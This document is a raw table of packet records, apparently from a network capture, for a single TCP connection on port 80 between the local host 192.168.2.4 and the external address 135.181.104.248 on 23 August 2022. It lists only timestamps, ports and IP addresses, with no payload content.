Aug 23, 2022 03:42:56.454586983 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454596043 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454613924 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454622030 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454643965 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454646111 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454663038 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454672098 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454679012 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454696894 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454715014 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454721928 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454742908 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454749107 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454761028 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454772949 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454782009 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454798937 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454801083 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454823017 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454832077 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454848051 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454858065 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454874039 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454883099 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454899073 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454901934 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454924107 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454941988 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454950094 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454967976 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454973936 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454984903 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454999924 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.455004930 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.455024004 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.455066919 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.455070019 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.455095053 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.455116034 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.455133915 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.455143929 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.455166101 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.455168962 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.455192089 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.455195904 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.455209017 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.455223083 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.455229044 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.455246925 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.455266953 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.455271959 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.455292940 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.455312014 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.459084988 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.459117889 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.459145069 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.459146023 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.459180117 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.459189892 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.459233999 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.459260941 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.459274054 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.459286928 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.459292889 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.459315062 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.459342003 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.459357023 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.459386110 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.459387064 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.459413052 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.459431887 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.459460020 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.459462881 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.459486961 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.459498882 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.459515095 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.459528923 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.459539890 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.459547997 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.459566116 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.459572077 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.459592104 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.459618092 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.459662914 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.460021019 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.460098982 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.460125923 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.460148096 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.460150957 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.460174084 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.460179090 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.460203886 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.460206032 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.460225105 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.460232973 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.460242987 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.460262060 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.460278988 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.460287094 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.460309029 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.460316896 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.460328102 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.460344076 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.460361958 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.460370064 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.460390091 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.460396051 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.460407019 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.460422993 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.460429907 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.460459948 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.461042881 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.461071014 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.461096048 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.461121082 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.461123943 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.461153030 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.461163998 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.461178064 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.461199999 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.461205006 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.461232901 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.461235046 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.461253881 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.461258888 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.461272001 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.461297989 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.461311102 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.461338043 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.461364031 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.461378098 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.461410999 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.461427927 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.461504936 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.461532116 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.461548090 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.461584091 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.476635933 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.476686954 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.476711035 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.476732016 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.476792097 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.476844072 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.477461100 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.477479935 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.477525949 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.477525949 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.477546930 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.477566957 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.477581024 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.477597952 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.477617979 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.477653980 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.477760077 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.477778912 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.477794886 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.477818966 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.477829933 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.477845907 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.477878094 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.477910995 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.477929115 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.477947950 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.477965117 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.477988005 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.478002071 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.478012085 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.478049994 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.486920118 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.486965895 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.486987114 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.487010002 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.487073898 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.487096071 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.487147093 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.487175941 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.487195015 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.487198114 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.487219095 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.487234116 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.487781048 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.487802982 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.487832069 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.487862110 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.487884998 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.487895966 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.487924099 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.488022089 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.488079071 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.488141060 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.488142014 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.488456011 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.488476992 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.488496065 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.488512993 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.488518000 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.488527060 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.488538980 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.488559008 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.488560915 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.488574028 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.488595009 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.488614082 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.488656044 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.488657951 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.488671064 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.488677979 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.488699913 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.488713980 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.488759995 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.488815069 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.488835096 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.488852978 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.488873005 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.488877058 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.488888979 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.488893986 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.488914967 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.488918066 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.488929033 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.488934994 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.488955975 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.488970041 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.492156982 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.492212057 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.492238998 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.492243052 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.492268085 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.492275000 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.492278099 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.492305994 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.492316961 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.492338896 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.492356062 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.492369890 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.492402077 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.492413044 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.492435932 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.493693113 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.493720055 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.493746042 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.493763924 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.493771076 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.493796110 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.493797064 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.493839979 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.493844986 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.493869066 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.493891954 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.493916988 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.493926048 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.493942022 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.493946075 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.493966103 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.493992090 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.494049072 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.494070053 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.494074106 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.494098902 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.494127035 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.494132996 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.494136095 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.494174004 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.494198084 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.494221926 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.494246960 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.494259119 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.494273901 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.494293928 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.494299889 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.494319916 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.494326115 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.494349957 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.494352102 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.494379044 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.494395971 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.494448900 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.494477034 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.494498968 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.494503021 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.494528055 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.494530916 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.494561911 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.494580984 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.494591951 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.494623899 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.494656086 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.494668007 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.494684935 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.494709015 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.494733095 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.494743109 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.494750023 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.494776011 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.494782925 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.494802952 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.494828939 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.494848967 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.494874954 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.494879961 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.494899988 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.494940996 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.494946003 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.495003939 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.495043993 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.495044947 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.495070934 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.495084047 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.495110989 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.495115042 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.495188951 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.495268106 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.495301008 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.495325089 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.495382071 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.495389938 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.495461941 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.495486021 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.495513916 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.495522022 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.495524883 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.495552063 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.495575905 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.495598078 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.495605946 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.495620012 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.495646954 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.495661020 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.495686054 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.495698929 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.495717049 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.495728970 CEST	80	49792	135.181.104.248	192.168.2.4
